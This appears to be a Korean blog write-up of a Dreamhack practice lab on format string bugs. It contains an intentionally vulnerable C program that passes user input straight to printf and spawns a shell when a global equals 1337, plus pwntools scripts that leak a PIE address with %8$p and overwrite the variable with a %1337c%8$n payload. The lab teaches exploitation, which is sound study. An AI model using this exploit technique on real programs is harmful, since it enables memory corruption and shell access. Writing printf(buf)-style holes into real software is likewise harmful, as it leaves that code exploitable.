1. Format String Bug (FSB)
- 포맷스트링을 사용하는 함수에서 발생할 수 있는 취약점이다.
- 리눅스 라이브러리 함수에서는 printf, fprintf, sprintf와 같은 함수들에서 발생한다.
- 참고 : 2022.08.10 - [Dreamhack/Lecture & Practice] - [Lecture] Format String Bug (FSB)
2. 실습 코드
- changeme의 값을 1337로 바꾸는 것이 실습의 목표이다.
// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
3. 코드 분석
- get_string함수를 통해, buf에 32byte만큼 입력을 받아온다.
- 입력값이 저장된 buf를 printf함수의 인자로 직접 사용하기 때문에, FSB취약점이 발생한다.
- 보호 기법을 확인해보면, Canary를 제외한, 모든 보호 기법이 적용되어 있다.
4. 공격원리
(1) changeme 주소를 구한다.
- 보호 기법에 PIE가 적용되어, 전역변수인 changeme도 실행할 때마다 주소가 변경된다.
- PIE의 베이스 주소를 먼저 구하고, 이를 통해 changeme의 주소를 계산해야 한다.
(2) chageme의 값을 1337로 설정한다.
- get_string으로 changeme의 주소를 스택에 저장하면, printf함수에서 1337byte의 문자열을 미리 출력하고 %n을 통해 changeme의 값을 조작할 수 있다.
5. 실습
5-1. changeme 주소 구하기
(1) gdb로, printf함수가 호출되는 부분에 break point를 설정한다.
(2) run명령어를 통해 프로그램을 실행하면, get_string함수에서 입력을 받은 후 break point에서 걸리게 된다.
(입력값은 임의로 '12345678'을 넣어주었다.)
- 결과를 확인해보면, [rsp + 16]에 0x555555554940이 들어있는 것을 볼 수 있다.
- [rsp + 16]은 x64환경에서 포맷 스트링의 8번째 인자로, %8$p로 접근할 수 있다.
(3) vmmap 명령어를 통해 바이너리에 할당된 메모리를 확인해보면, [rsp+16]에 저장된 값과 PIE 베이스 주소의
차이가 0x940 임을 알 수 있다.
- 즉, %8$p로 출력한 주소에서 0x940을 빼고, changeme의 오프셋을 더하면 changme주소를 구할 수 있는 것이다.
(4) 위 방식을 이용하여 스크립트를 작성하면, 아래와 같다.
from pwn import *
def success_print(n, m): return success(": ".join([n, hex(m)]))
p = process(b"./fsb_overwrite")
e = ELF(b"./fsb_overwrite")
p.sendline("%8$p")
leak_addr = int(p.recvline()[:-1], 16)
success_print("Leak Adress", leak_addr)
base_addr = leak_addr - e.symbols['__libc_csu_init']
changeme_addr = base_addr + e.symbols['changeme']
success_print("Base Address", base_addr)
success_print("Changeme Address", changeme_addr)
5-2. 1337 길이의 문자열 출력
- changeme변수에 1337을 쓰려면, 1337 길이의 문자열을 먼저 출력해야 한다.
하지만, 입력받는 길이가 0x20으로 제한되어있기 때문에 1337 길이의 문자열을 직접 입력할 수 없다. - 포맷 스트링의 width속성을 사용할 수 있다.
이는 출력의 최소 길이를 지정하고, 출력할 문자의 길이가 최소 길이보다 작으면 그만큼 패딩 문자를 추가한다.
5-3. changeme를 1337로 덮어쓰기
#!/usr/bin/python3
from pwn import *
def success_print(n, m): return success(": ".join([n, hex(m)]))
p = process(b"./fsb_overwrite")
e = ELF(b"./fsb_overwrite")
# [1] Get Address of changeme
p.sendline("%8$p")
leak_addr = int(p.recvline()[:-1], 16)
success_print("Leak Adress", leak_addr)
base_addr = leak_addr - e.symbols['__libc_csu_init']
changeme_addr = base_addr + e.symbols['changeme']
success_print("Base Address", base_addr)
success_print("Changeme Address", changeme_addr)
# [2] Overwrite changeme
payload = "%1337c" #1337만큼 문자열을 출력한다.
payload += "%8$n" #현재까지 사용된 문자열의 길이를 8번째 인자 주소에 작성한다.
payload += "A" * 6 #8의 배수를 위한 패딩한다.
payload2 = payload.encode() + p64(changeme_addr) #payload 16byte뒤에 changeme 변수의 주소를 넣는다.
p.sendline(payload2)
p.interactive()
'Dreamhack > Lecture & Practice' 카테고리의 다른 글
[Practice] Use After Free (0) | 2022.09.16 |
---|---|
[Lecture] Use After Free (0) | 2022.08.20 |
[Lecture] Format String Bug (FSB) (0) | 2022.08.10 |
[Lecture] OOB (Out of bounds) (0) | 2022.08.09 |
[Practice] Hook Overwrite (0) | 2022.07.14 |